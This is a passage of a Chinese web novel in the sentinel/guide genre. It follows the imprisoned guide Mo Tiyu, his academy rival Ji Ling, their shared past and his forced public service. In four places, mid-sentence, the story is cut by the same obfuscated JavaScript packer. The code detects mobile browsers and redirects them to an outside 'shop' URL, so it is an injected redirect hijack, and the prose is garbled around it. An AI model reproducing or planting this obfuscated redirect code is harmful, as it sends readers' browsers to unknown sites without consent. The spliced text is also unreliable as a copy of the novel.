这座监狱要说唯一的缺点,就是没有猫。虽然狱警几乎可以弄来一切,但特意要一只也不是莫提雨的性格。 “喝咖啡吗。”莫提雨翻完今天的报纸,没有看到什么新消息,于是放下报纸问道。 两个年轻士兵用惊疑不定的眼神看着他。 莫提雨淡灰色的眼睛里此刻透着平静:“速溶的。” 他的伤口不再渗血,宽松的衬衣袖口放下来,看不见伤痕了。 莫提雨似乎洞悉两个士兵的不安,浅灰色的眼底有一点笑意——守着他这样一个精神力不稳定的向导的确会让人感到压力很大。 两个士兵说:“您自己喝就可以。” 莫提雨于是给自己泡了一杯咖啡。咖啡独特馥郁的香气飘了出来。 他静静嗅着这股香气,再次陷入了冻结般的寂静,直到咖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179520|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啡变凉,好像时间无限地停止,好像一个极灰暗、极缓慢的深冬降临在他面前,连雪都不飘动。 “莫提雨对霁泠的熟悉和了解可以追溯到绯岸军事学院时期。他们是同学,而且也是对手。” 军部会议室,所有人一起看着屏幕中央,上面的人物资料清晰可见,附带的照片是莫提雨刚毕业的时期,浅灰色的眼睛微弯,乌黑的碎发被海风吹起。 “他的经历和状态不可复刻,我们还要想一点别的办法来确认霁泠的舰队位置。” “报告,最新的分析结果出来了,我们拿到的那一批信息是被伪造过的。” 大门突然被打开,闯入的信息兵气喘吁吁地说道。 所有人脸色一变,尤其是顾浪,他似乎想到了什么,开始气急败坏地出去打电话。 “对……这批信息全部无效。全部。” “接下来行动等我通知。你们先继续守着他。” …… 顾浪脸色铁青地结束了电话,而绯岸政治监狱中,两位士兵离开了一会儿,得到最新命令后才回到岗位。 莫提雨一直睡睡醒醒,在看见他们回来的时候,那双淡色的眼睛若有所思。 “看来我不用帮忙了,是吗?” 莫提雨轻轻问道。 他对信息的解读能力简直已经到了恐怖的程度,即便他现在根本没有动用精神力。 两个士兵根本不能对他泄露行动信息——虽然很显然,莫提雨已经什么都知道了。 霁泠的这一次行动比以往任何一次都可怕,他不知道用了什么手段,绯岸的所有信息采集塔全部上传了错误的信息,彻底干扰了军部对信息的控制,也因此失去了对变异者作战的几处扼要航道。 而挟裹着强精神粒子流的暴风雪已经来了。如果不能及时夺回,那么他们将损失惨重,已经不止全部原地下课那么简单了。 以现在的情况,不止顾浪想起了莫提雨,军部其他人也全都想起了莫提雨。 但莫提雨的处境和风评,所有人都知道,眼下莫提雨是风口浪尖上的人,如果贸然请动他,恐怕愤怒的民众会掀翻军部大楼。 但危险就在眼前,必须做出决策。事情已经等不到审判日。 防务大臣下定了决心:“全力搜集新的信息流,与此同时,全力研究莫提雨从前的作战记录,尤其是和霁泠的作战记录。” “派人去监狱问他从前的事,承诺他更好的前程。我们必须不惜一切代价,从头到尾了解霁泠此人的风格手段。” 新的信息资料开始打印,封存,准备送往狱中。这其中,格外显眼的是一张拍摄于十年前的照片,莫提雨和他人的合照。 照片中,莫提雨穿着蓝色的校服,神色散漫,斜坐在一张歪倒的椅子上,椅背被另一人扶住,扶着椅子的人正看着他。 两人的距离不远不近,刚好一起入镜。 5. 霁泠 莫提雨十五岁时和霁泠作为同班同学的合照。 那时绯岸军事学院还未关闭,是引发变异的精神风暴出现之前,唯一一处天才云集的军事摇篮。绯岸和苍雪岸相安无事,遥远的海上还有许多独立的塔和岸区,蓝天白云如新,日夜航线如星轨般明亮。 绯岸与苍雪岸联合办学是双方的共同决定,世界上最优秀的精神力拥有者云集入学,预备着为世界的未来努力。但没有人想到的是,随着风暴的降临,这个学院最终完成了完整学年的,只有莫提雨那一届。 获得了入学资格的人少得可怜,最终最为出名、翻搅风云的,刚好是照片上的这两位。 照片送到莫提雨手上。 这次来找他的人不再是顾浪的人了,军部正儿八经派人前来询问。 “什么事?” 莫提雨的声音有些刚睡醒的沙哑。 他被叫起来的时候又在睡觉,穿一件洗旧的灰色衬衣,松散宽大,歪倒在床上,乌黑的碎发有些凌乱。 灯不明亮,他微微歪头,将照片对着光,灰色的眼眸映着泛光的灯影,有些惊讶。 很显然,这张照片对莫提雨来说也有些陌生了。 莫提雨视线落在照片上的霁泠身上。 淡金发白的头发,湛蓝的眼睛,和他的黑发灰眸仿佛明暗的交汇。 这种交汇似乎也注定了他们的走向:在学院时就针锋相对,成年后各奔东西,最后依然成为彼此交手最多次的敌人。 只不过,霁泠的船舰仍在风暴区自由肆意地穿行,而莫提雨此刻困于绯岸的监狱中。 “怎么了。”莫提雨声音极轻,将照片放下,翻了个身,薄薄的毯子不规则地盖住了他。 这是一个多年未曾见的老同学,也是再熟悉不过的敌人。 半年前他最后一次解析信息,就定位了霁泠伪造的五个关键信标,使得霁泠的势力最终放弃了一片海底采矿区域。 来的人是信息部的,虽然极不情愿向这种人求助,但只能捏着鼻子忍气吞声:“我们希望您尽可能详细地提供有关他的各种信息细节,哪怕是半年前的都好……如果您想起什么有关他的,新的特征信息,请务必告诉我们。” “这是目前的报告,他最近的精神力水平和精神体信息还在更新和解析中。” 莫提雨伸出手,接过报告。 资料很厚,他垂眼翻了翻。指尖掠过光洁的纸面,漆黑的字在指腹游走。 这半年霁泠做了不少事,很显然军部再无余力对他进行限制。这位从苍雪岸决裂出走的小王子带着自己的旧部势力,即将在海上建立一个新的势力,两边都发布了对霁泠的通缉令。 这些字和消息一起变得遥远而模糊。 风里不再传来海上的消息,莫提雨已有许久不再在精神图景中与霁泠对峙。 有关霁泠的气息,是冻结的海岸线,飓风轰击的甲板,和一双湛蓝的眼睛。 那双眼蓝得有些过分,宝石一般的净度,也能令人眩晕,是和莫提雨如出一辙的强大不可控的精神力,但是哨兵,哨兵的眼睛具备穿过无数信息捕捉到目标的远见。 莫提雨歪着头看了一会儿。 片刻后,他轻声说:“抱歉。” 莫提雨伸手将资料交还给来人,表情平静。 “我已经很久没有见过他了。” * “莫提雨差不多已经废了。” 顾浪在监狱外的车里,皱着眉看着传回的监控录像。 莫提雨仍靠在床头,微微歪着闭眼小憩。好像外界风雨与他并不相干。 这次顾浪不用悄无声息地出现了,因为这次有军部许可。 “才半年,他的精神力创伤怎么恶化成这样?” 现在不用医生检测了,莫提雨已经是肉眼可见的状态不好,这让本就一筹莫展的境况雪上加霜。 “部长,前线新消息,霁泠的信号疑似出现在边境。” 顾浪头顶爆出清晰的青筋,把手里的资料摔在面前:“核实了吗?现在有谁能核实?没核实的情报不要到我这里来说!” 他的突然暴起把汇报人员吓了一跳,连树枝头的乌鸦们也一起被惊飞了。 顾浪意识到自己的失态,他一筹莫展地看着监控录像,声音平静下来,但还是难掩焦躁:“他和读书时完全不是一个样子了。谁能想到?” 说来奇怪,念书时莫提雨虽然也并不开朗,但看得出和现在天差地别。 莫提雨那双灰色的眼睛里有难言的魔力,好像能把一切痛苦平静温柔地看入眼底,能把精神崩溃的人从死神手里抢回来。越是绝境,他越是冷静和稳定,这种平稳几乎让他战无不胜……那也是顾浪可望不可即的天赋。 他和霁泠两人各自都是彼此领域的最为卓越者,曾经最受校长钟爱,但因为莫提雨已有未婚夫,所以他们二人从未进行过深度的搭档作战,反而是对抗训练巨多。 哨兵和向导的对抗训练匪夷所思,但霁泠有伪造信息的能力,莫提雨能从风的信息中共情到情绪和目标。 他们像一对永远互相打磨的武器,互相锻炼隐蔽和识别的能力,一人是剑,一人是鞘,但最终都会在战场上杀灭敌人。 那时的绯岸军事学院中,校长的这个磨合计划最终磨出了这两个怪物,在绯岸军事学院本院都已经关闭,区域格局已经摇摇欲坠的今天,依然只能被彼此制约,不可不谓造化弄人。 但现在,霁泠连唯一的制约都没有了,接下来的世界又将如何变化呢? 盘旋的乌鸦又飞了回来,落在监狱外枝头,碎雪簌簌落下。 莫提雨再次被士兵叫起来走走。 他身上的伤越来越多,但感到困倦的时候越来越长,情况看起来只会恶化。 夜已经深了,平常吵吵闹闹的监狱也寂静无声,只有庭院中央的路灯还亮着,雪变大了,鹅毛一般簌簌而下。 莫提雨在雪中静静站了一会儿,随后动作缓慢地坐了下来,盘腿坐在雪地里。 他拿起随身携带的小面包,微僵的手指掰开了,一点一点撒在雪中,等着乌鸦下来觅食。 他的眼前是模糊的,视野充满了噪点一般的灰尘,偶尔有一瞬间会清晰一下,随后马上又暗下去。但只看着他浅灰色的眼睛,又什么都看不出来。 最清晰的感觉是雪融化的微凉,很轻小的一下,钻入衣物的空隙,很快不见。但其实没有雪在他的肌肤上融化,他今天穿了外套,这是过时而且混乱的共情识别。 莫提雨安静、清楚地知道这一切。 监狱里的乌鸦对他并没有警惕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179521|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,很快就下来几只乌鸦,在他身边踱来踱去,胆子大的已经伸脖子开始吃了。 只有一只鸟儿没有下来,它仍站在枝头,远远地注视他,黑曜石似的眼睛里透着鸦科动物特有的无波无澜,就像一面光洁的镜面。 莫提雨在雪里待了一会儿,随后回到室内。这些天里,他第一次向狱警要了一样新的东西:空的相簿切页。 他将信息部带给他的照片放了进去,保护性地夹入一本书中,放在了咖啡罐的旁边。 他垂着眼凝视它,乌黑的睫毛在肌肤上落下阴影。 片刻后,他又把它拿了出来,缠满了绷带的手轻轻握着照片,似乎静静地看着珍重的过去。 * 他对过去的印象由气味、情感和印象组成,记忆中的自己苍白黯淡,霁泠却非常鲜明。 霁泠是灰白中的一抹艳蓝。 霁泠和他同岁,是苍雪岸最小的王子,在学院时期仍然是最热门的王位继承人之一。毕业后,扶持他的贵族长辈接连遭到暗杀,内阁对王族多方掣肘,再就是风暴来了。 苍雪岸对变异者的作战态度和绯岸一样模糊和保守,霁泠带了自己的人马,放弃王储位置,与内阁决裂后便远走海上。 莫提雨在这个时期正式与他交手。两人称不上朋友,做对手的时间居多。 风暴中的情报、航路、对敌控制区、物资塔、信号塔,甚至向导和哨兵,都是风暴之下每个区域需要抢夺的资源,也都是冲突的发生点。在绯岸的内部矛盾也日益尖锐的情况下,对外的作战也显得更加紧迫。 霁泠其人的风格远比他看起来的那样要狠辣棘手,那双湛蓝的眼睛深处是强大的野性和瞬息变化的、几乎没有感情的直觉。如果说莫提雨是融化一切的雨,那么霁泠本身就是雪,长自苍雪岸、顽固不化的坚冰。 莫提雨曾听校长说:“你们的眼睛,都可以酿成风暴。”那时教室里的学生只有他和霁泠两人,彼此看了看。 风暴果然已经来临。十年前的声音回响,带着教室里松香和清洁剂的味道,仍旧历历如新。 大雪,绯岸某市中心便利店。 “你的眼睛……颜色很特别,很漂亮。”路人小姑娘有点小心地搭话道,“为什么用美瞳遮住呢?” 虽然只有一刹那,但这个路过的小姑娘看见了青年映在镜中的蓝眼睛,那是一种饱和度极高,极其纯净冷冽的蓝色,纯净得不近人情,看起来甚至惊心动魄。 青年身形高挑瘦削,一头浅得近乎雪白的金发。他穿着银灰色的风衣,极妥帖,刚刚为自己换上了深色的美瞳。 霁泠看过去,轻松说道:“我准备参加一个COSPLAY聚会,美瞳落家里了。” “哦哦,原来是这样。”小姑娘恍然大悟,又纠结了一下,就在她思考要不要问问账号的时候,眼前人却已经不见踪影。 飘雪的拐角,霁泠周身气息已经沉敛,他一边把票据扔进暗处的垃圾桶,一边戴上黑色手套,从贴身的口袋中拿出一张相片。 照片是监视器录像打印,右下方还标着日期:一天前。 照片上,黑发灰眼的年轻人正裹着毯子沉睡,容颜安宁。 霁泠长长久久地看着他,又伸出手,擦了擦相片上的落雪,仿佛不愿意雪遮住那人的眉眼。 6. 长夜与晚星 莫提雨在绯岸军事学院的经历是不为人知的往事。 媒体拼了命挖掘过,能拿到的唯一事实就是,白慕予的确因为向导能力不足而没能入选,这长达五年的学院生活由莫提雨一个人经历。 而这个抉择,似乎也暗示了莫提雨抛弃白慕予的起点:他作为白慕予的伴侣,从不曾停下脚步等他。这里是莫提雨青云直上的开始,也是众叛亲离的开始。 绯岸军事学院那一届毕业的学生一共四十个。不论这些人日后做出如何成就,风光程度都不曾望莫提雨、霁泠二人项背。 他们二人是校长别松亲自教习,手把手训练,令人羡慕至极。 “好哇,让我看看,我选出来的最好的哨兵和向导……就是你们俩。”别松彼时是绯岸塔核心中的核心,而且是个普通人,没有能力,他笑眯眯地看着面前的两个少年,“脸都很臭呢。为什么?” 霁泠没有表示,他话少,生性冷酷内敛;莫提雨垂着眼,淡淡地说:“我不想来这里。” “是吗,我看到……你想去北边,你想去苍雪岸的学院学习战斗向导课。” 别松翻出资料,温和确认,“是的,绯岸的确太熟悉,太重复了。苍雪岸在研究新的攻击型向导的训练方式,我是个旧的学者,但我向你承诺,我也会教给你向导应有的、珍贵的东西。” 别松注视着莫提雨,霁泠也一起转头看向这个新同学。 莫提雨自己浑然不觉,他富有掩藏的攻击性和侵略性,已经和普通的向导有了极大的区别。 这个垂着眼,有一双冷冷的灰眼睛的孩子有着远超同龄人的承受能力,和浑身的伤痕。他在被教会治疗自己之前,先习惯了忍受疼痛。 那是霁泠作为哨兵,第一次见面所捕捉的信息。 十五岁的莫提雨抬起头,浅灰色的眼眸看向老师。 他无声地识别对方。 温柔分很多种。 有的温柔名叫白慕予,像一张轻薄绵柔的大网,将他层层包裹,透不过气。有的温柔叫外界公众,要把他切割成百种千种欲望的投影。 现在他看到一种新的温柔,在别松睿智的眼睛里,霁泠野生的沉默里。 别松给莫提雨的授课内容与莫提雨在父亲那里得到的训练迥异。别松从不给莫提雨安排极限共情考验,他教莫提雨世界形势、精神力原理,也教不同人的差异和军事课程。两个孩子一起听课,从未改变。 只是霁泠每天都能捕捉到变化。莫提雨的眼睛逐渐变得有暖色,他放下了那种对外的防御,现在那宝石一样的灰眼睛里藏起了星星一般的光华。 他和他从不主动搭话,除了交流必要课程。 霁泠是苍雪岸的小王子,家族政治关系极复杂和危险,在学校也没有人接近。 还有最重要的一点:作为哨兵,霁泠的体能算不上好,甚至可以说比普通人还要差。霁泠能赢得每一次哨兵排名的第一,但也注定在体能上吃极大的亏;旁人都知道他这个弱点,每次的哨兵排名,几乎都是所有人对他的联合围剿。 “你好像很累。”初次见面后的第三周,莫提雨开口向他说话了。 霁泠刚从哨兵考核室出来,他背着沉重的书包,停下脚步,看向他。 莫提雨坐在靠近花丛的台阶上,手里是一本蓝色封面的笔记。 那双灰色的眼睛已经渐渐学会了别松那样柔和清朗的笑意,并且和他素日的冷淡气息融合,变得更深,更漂亮,好像深谷的自由暖风,生机盎然。 是日后所有人都能看出的顶级向导天赋。 “所有哨兵一起打你一个是不是太过分了?”莫提雨说,他不用问就已经知道哨兵的考核里有什么。 霁泠说:“实战可能比这残酷。”他的声音没有起伏,表情看起来有点愣愣的,表示着对现状的平静接受。 他冷色的蓝眼睛里没有任何波澜,和本人一样又冷又硬,但自己并不知道自己看起来快死了。霁泠习惯挑战各种濒死环境和过载的体验,只要还有一口气,他就不会放弃战斗,也绝不会示弱。 “我背你回去,来。” 莫提雨向他伸出手,似乎觉得理所当然,“过载了就不要硬撑了。” 霁泠犹豫了一刻,但莫提雨的话好像有魔力似的,他最终还是趴上了他的肩膀。 几乎是一瞬间,霁泠就陷入了昏迷般的梦境。 伤口在愈合,广域的警惕和搜索早已耗竭他的精神,同类的撕咬不放让他伤痕累累……不能露出任何脆弱,绝对不能。 放松即是死亡,清醒还有生机;他必须变得更强,比任何人都强,直到生存不再威胁他,直到他能控制所有情况。除了此刻。 莫提雨身上的气息很好闻。这是他接触的第一个向导。 这气息让他想到温暖的、毛茸茸的事物,外边在下雪,而银色的小狼蜷缩在壁炉边,唯一的触碰是一双手,那双手修长温柔,在轻碰自己的头顶。 霁泠费力地睁开眼。 莫提雨收回触碰他头的手,弯弯眼睛,灰色的眼底十分快乐:“到了。快去静音室恢复吧。” 霁泠坐起来,发现自己被放在了椅子上。 莫提雨从之前笔记本上小心撕下一页,递给他:“对了,送你一幅画。下次的考核也加油。” 霁泠接过来。 一张蓝色为主体的水彩画,颜色就像霁泠眼睛的颜色,纯度极高的湛蓝。 有丰沛清冽的精神力在笔触中肆意消融和流淌,流淌出一片沉静的、冰凉的深夜,深夜之下,有一只瘦弱的、小小的银色小狼在低头舔伤。他头顶没有月亮,可星空足够明亮,足够呵护与支持。 莫提雨的画里有他本人的气息,虽然同有黑暗破碎的部分,但却因此成为更加稳固的支撑。这是没有任何接触的精神疏导,甚至不必靠近和深入链接。 这是搭档之外的,哨兵和向导的边界。 霁泠从此喜欢上长夜与晚星。 * 雪继续下,莫提雨站在一面破碎的小镜子,低头慢慢地换下旧绷带。 伤痕仍然是红的,透着肉色,新伤总是覆盖旧伤,结痂也极薄,轻轻一蹭又重新破裂。 他的清醒时间是混乱的,因为身体的情况,许多人都害怕他陷入长时间的睡眠,越是临近审判日,看着他的眼睛就越多。 每次莫提雨又有在非正常时段坠入睡眠的趋势,门外的士兵就会把他叫醒。于是给自己换绷带变成了莫提雨新的消磨时间的方式。 “听说了吗,昨天绯岸塔核心数据区被人入侵了。” 监狱外,士兵们悄悄议论着,“是内部消息,还压着不让发,我们都在讨论是什么人做的,那种地方居然都能侵入。” “多事之秋啊……最近的事怎么一桩桩一件件地全部凑在一起,让人感觉毛毛的。” “你们说,变异者会打到我们内陆来吗?” “难说。唉,我们能改变什么呢?现在还不是在这里守着准备出狱的公子哥。” “就是,我宁愿去刷马桶也不愿意守着这种人。说出去都嫌晦气。” “就是,白慕予那么好的向导居然都留不住他的心,他到底想要多好的?” …… “对了,得特别注意安全。公众里想对莫提雨动手的人还挺多的。” “知道了,就像上次的那个那样?也是巧,怎么没捅死莫提雨,这就是祸害遗千年吧。” 房间的门再次被敲响。 这次推门而入的是监狱长和莫提雨不认识的军部高层。 两人看起来都怀揣着思虑已久的大事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179522|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给莫提雨递来一张表格。 “出狱审查已经初步通过了,但程序上有点漏洞,你必须补上时长24小时的公共服务,这是硬性规则。” “公共服务?”莫提雨扫了几眼,想了想,“我听说过。” 军部高层看了监狱长一眼,监狱长硬着头皮面不改色——理论上这是教化犯人的必要一步,也是对社会的交代,但大多数人都是捐款来抵消劳动,监狱长自己就从中赚得盆满钵满。 “捐款也是可行性很高的选择……还不用受苦受累,公共服务可不好做。”监狱长暗示了一下。 听说白慕予为了保莫提雨已经散尽家底,可监狱长自己没能打听到这钱究竟流向了哪里。要是莫提雨手里能漏一点钱,那也值得了。 监狱长话音刚落,莫提雨说:“我选公共服务。” 他灰色的眼睛认真阅读着那些公共服务条目。 大部分是非接触性的社会体力劳动,比如清洁公园、垃圾收集、植物栽培,虽然区域会选在监狱可以控制的范围里,但可想而知,媒体也将闻风而来。 “植物栽培。” 没过多久,莫提雨居然很迅速地选好了,他把册子递回来,就像接过报纸一样轻松,或者说——好像和喜欢阅读报纸一样,有点喜欢这项活动似的。 “恭喜你终于开始准备赎罪了。”系统21的声音冒了出来,“你终于开始像我们期望的那样开始行动了。” “你会去一片最荒芜的地方。人们会远远地看着你,唾骂你,这都是你应得的。你从小就获得了公众的关注,你居然长成了这个样子……这是你入狱后第一次露面,你要做好准备。” * 这个时间节点,除去军方动向,监狱里几乎不存在任何秘密了。莫提雨要做公共服务的事情不胫而走。任何关于他的消息都卖得上价。 舆论再次沸腾。 “这个节骨眼出来做公共服务?纯作秀!原来获得原谅这么容易啊,少爷只要做做慈善,捐捐款,就能有人忘记死在他手里的向导有多少!” “来了来了,准备好洗白了,终于来了是吗,在这儿等着呢。” “白慕予呢?他要出来了,白慕予不会就这么轻易接受吧?白慕予有消息吗?” …… 千变万化的,复杂嘈杂的信息,都被广域搜索,落入一双湛蓝的、危险的眼睛中。 “你又来了,COS聚会顺利吗?我昨天忘了问你,你COS的谁啊?” 暖和的便利店浮动着速食的香气,昨天的小姑娘拿着刚刚挑选的鸡排饭团,惊喜地向再次遇到的青年搭话。 今天的冷峻青年又换了一个颜色的虹膜片,仍然是深色,衣服也换了,非常简单的黑色居家T恤,昨日的肃杀之感去掉了不少,看起来就像是在附近上学的大学生。 但如果仔细看他的眼睛,会察觉那双眼底有什么颜色都无法掩盖的深邃与锐利,一种现代城市中养不出来的冷酷野性。 霁泠手里捧着一杯关东煮,氤氲热气从茶色的汤汁中浮出,热气将他锋利微冷的眉头熏染得柔和了一些。 “我在COS一个逃犯。窃取了一些政府高层的秘密实验数据,现在正躲避追杀。”霁泠的声音听起来没有起伏,“他在附近有一位老朋友,他想去看看他。” “能猜出是什么角色吗?”霁泠随口说着,微笑抬眸,“如果能猜到,下次见面告诉我吧。” 忽而,他身上的气息发生了变化,笑意减淡,瞳孔微微放大,似乎有无声的猎物上钩。 他瞥了一眼窗外。 玻璃窗外,一辆密闭的方方正正的车驶过雪地,上面没有车牌,但哨兵已经知道它的来路和去处。 它上面载着的人安安静静靠着车座,乌黑的碎发随着细微的颠簸晃动。 7. 手套 全封闭的车厢里,两个守卫在聊天,抱怨着今天是这么沉闷的工作。大雪天里干这活是很受累的,又冷又没什么娱乐。 “嚯,我们后边有一辆摩托车。”开车的人看了一眼后视镜,“大雪天,这么劲?” “在哪在哪?” “有点远,刚刚过去了。” 后视镜中的摩托车黑影很快模糊在雪中,好似雪天的幻象,但那纯黑的机身,但几乎听不见发动机的轰鸣声,还有上面戴静音头盔的人——看不清面容,但气息无端让人感到一阵战栗。 一切现象都显示着这是个哨兵。 “这种地方怎么有哨兵?我们都快开出市区了。”普通人对哨兵的敬畏几乎来自于本能,司机加大了油门,希望尽快摆脱这个雪中的幽影。 莫提雨坐在后车厢的位置,一只手被抬高,铐在囚车的墙壁上。他的位置几乎一片黑暗,只有少量的光透进来,照亮他苍白的脸。 他闭着眼睛,但嗅出了车上人们的紧张。这种紧张不同寻常,仅仅是后视镜里一瞥,紧张竟然就已经传递至此。 司机打开了电台频道。 “今日大雪,部分道路关闭,请居民提前做好准备,封闭路段为以下路段……” “请大家近日减少活动,城市中或有通缉犯流窜。” “莫提雨出狱审判在即,今日将前往XXX公园做公共服务!我们正在征集观众意见。” “大家也在关心白慕予反应,目前白慕予仍在莫家人陪伴保护中,前日疑似大病一场,上播时状态极差,令人心疼!” …… 车辆晃动着,手铐在皮肤上磨出血痕。 “要命,这种地方这么多媒体?”司机停了车,其余几个监狱守卫和士兵都直起身,准备应对乌泱泱的人群,及时给他们的人开一条道路。 这是个荒芜的公园,附近有几家敬老院和工业园,平时就缺乏管理和修缮,一般只有附近的老人会来活动活动。 门被打开,莫提雨被守卫拉下车。 人群一拥而上,咒骂和尖叫声一瞬间就淹没了所有声音。 “杀人凶手去死!如果你这种向导都要杀害同类,那向导还有明天吗?你配吗?” “是向导的身份让你成为了英雄,不是你自己!” “听说你的小队全军覆没过,是不是真的啊,听说你队里都是哨兵,他们死得好啊!给那些只会情绪吸血的东西做精神疏导是让你很爽吗?” “对于白慕予的事你怎么看?他说的事都是真的吧,你打算怎么办?” “复制后你打算怎么分配你队伍中向导和哨兵的比例?还是同类相害吗?” …… 莫提雨这次出现的样子比上一次还要消瘦,几个士兵不得不撑开伞盖住他和他身边的人,以防群情激奋中发生流血事件。 他很久没有外出走动了,步伐和身体都十分凌乱,过于空旷的雪地上空似乎浮动着细密的噪点。 他的工作地点在湖边。深冬,湖面已经结冰,湖水和护栏隔开了人群,守卫也看住了出入口,终于能喘口气。 莫提雨在一块石头上坐下,显得很平静。湖边的人们仍然对他愤怒地大叫着,有人试图往这边扔石块,冰面上发出了咚咚的声响。 今天很冷,湖边更冷,天还是灰色的,皮肤只要暴露在空气中就生疼,冻白之后很快又泛起血色。 莫提雨看着眼前稀稀拉拉的冬苗:“是这边吗?” “是,随便干干得了。监狱长随便买的树苗,反正活不长的。”几个守卫在寒风里骂着,扔给莫提雨一些工具,随后就躲去了避风处。 莫提雨伸出手,指尖碰了碰那几棵蔫蔫的树苗。树种是苍雪岸的冬松木,这种树不好活,早期极易夭折,但只要熬过了那个神秘的“早期”,就几乎能在任何环境中生存下来。 他不用共情即能识别树的感受。这里对它们来说并不寒冷,但是不够稳固,土的气息也不太亲切。 莫提雨浅灰色的眼睛里浮起一些笑意,他轻轻歪头:“将就一下吧。我来松松土。” 监狱提供的工具是质地极软的橡胶花铲,并不比随手捡块石头好用。 莫提雨放下了铲子,找到了合适的石头,半跪下来打理土壤。 他的身体大不如前,几乎干一会儿活就要停下来歇息,汗浸透乌黑的发梢,又迅速被风吹冷。 “干活好像挺努力的。” “不用说是卖惨,我从小在电视上看着他长大的,他这个等级的向导会这么弱不禁风?” “观众们,我们正在尝试连线莫提雨的家人,白慕予本人正在开播,让我们接通他的频道……” “观众们好,这里是予你心声频道,又见面啦。有很多担心我的观众,我想说,这个频道的出现,就是为了治愈伤痕,自我成长……” 白慕予的音色柔软而脆弱,显然本人也在努力从伤害中修复。听到的人无不为之动情。 这边的记者还没来得及连线,忽而发出一声尖叫——摄像屏幕忽然爆开了,转播机器也一起爆开了,裂开的机器表面只有碎裂的尖锐冰凌,天迅速地暗了下去,隐隐有大风。 “冰雹,冰雹!快回去。”众人都看到了机器是怎么被冰锥扎爆的,所有的议论都戛然而止,天阴得像是结了冰。 雪都不下了,凝滞的空气里仿佛带着沉沉威压,压抑得人喘不过气来。 而莫提雨这边什么都没有,如果从他的角度看过去,会发现阴云刚刚全部压在岸边,而他这边似乎连风都停止了。 寂静。寂静得只有长靴踏过碎雪的声音。 一个穿着漆黑防风摩托车外套的人出现在山石之间,幽影一般,静静地看着莫提雨。 莫提雨盘腿坐在脏兮兮的泥土边,把手里的石头也丢去一边。 来人现身之前,他就已经察觉。 他淡灰色的眼眸里映出来人的影子:“好久不见。” 霁泠也从山石后走出,盘腿坐下来,在一个熟悉的位置和距离。 他戴着深色的美瞳镜片,这让他的眼睛看起来是藏青色,他停顿了一下:“好久不见。” 有很多事要说,但此刻霁泠都没有说,他看着莫提雨,和上学时一样沉默。 毕业那天他们都是二十岁,即便知晓从此将各奔东西,但彼时仍然是意气风发的同学,配合磨砺已有五年,既是世间最熟悉的对手,也是世间最默契的伙伴。 “世界会改变。风暴要来了。”那时,霁泠在学院的留言板上写下这句话,大家都在合影留念,他身边一个人都没有。 莫提雨应该会留在绯岸,而他会回到苍雪岸的家……成为没有任何人期待的王,或是被姊妹兄弟杀死,还会遇到更大的、穷尽他的眼睛,也看不到全貌的世界变局。 那不是什么坦途。 霁泠在学院中总显得思虑过多,他独行,沉默,像一匹独行的幼狼,因为他的眼睛能看到太多,耳朵也能听到太多。一千公里外的风雨他能听到,百年前的痕迹他能察觉。他的精神力强大到几乎把他撕碎,只有很少的东西能让他从信息过载中恢复。 炉火的白噪音,或者他从未告诉过任何人的:莫提雨。 那一天,霁泠写完留言,身边就靠来一个人。莫提雨把手揣在衣兜里,问他:“我没带笔,可以借你的用一用吗?” 他默默把笔递给莫提雨,视线落在他藏在衬衣下的手臂上。 莫提雨身上总是出现伤痕,有的是精神力创伤的后遗症,有的是作战受伤,但是他都能很快地愈合。 莫提雨神色轻松,很快提笔写完,又把笔还给他。体温顺着笔杆传来。 莫提雨的向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179523|196951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导素一直不明显,不少人私下议论过,说过似乎是什么冷调的花香,因此怀疑过莫提雨的精神体是某些植物。霁泠看得却很清楚。 是蝴蝶。 一只蓝色流光一般的,极其耀眼的蝴蝶,它在花木的包裹中长大,因此染上一些花香。那花香的主人霁泠不认识,他不喜欢。 莫提雨伸手对他挥了挥,灰色的眼睛盛满琥珀般的光:“等我和老师去苍雪岸找你。到时候再一起对抗训练吧。” 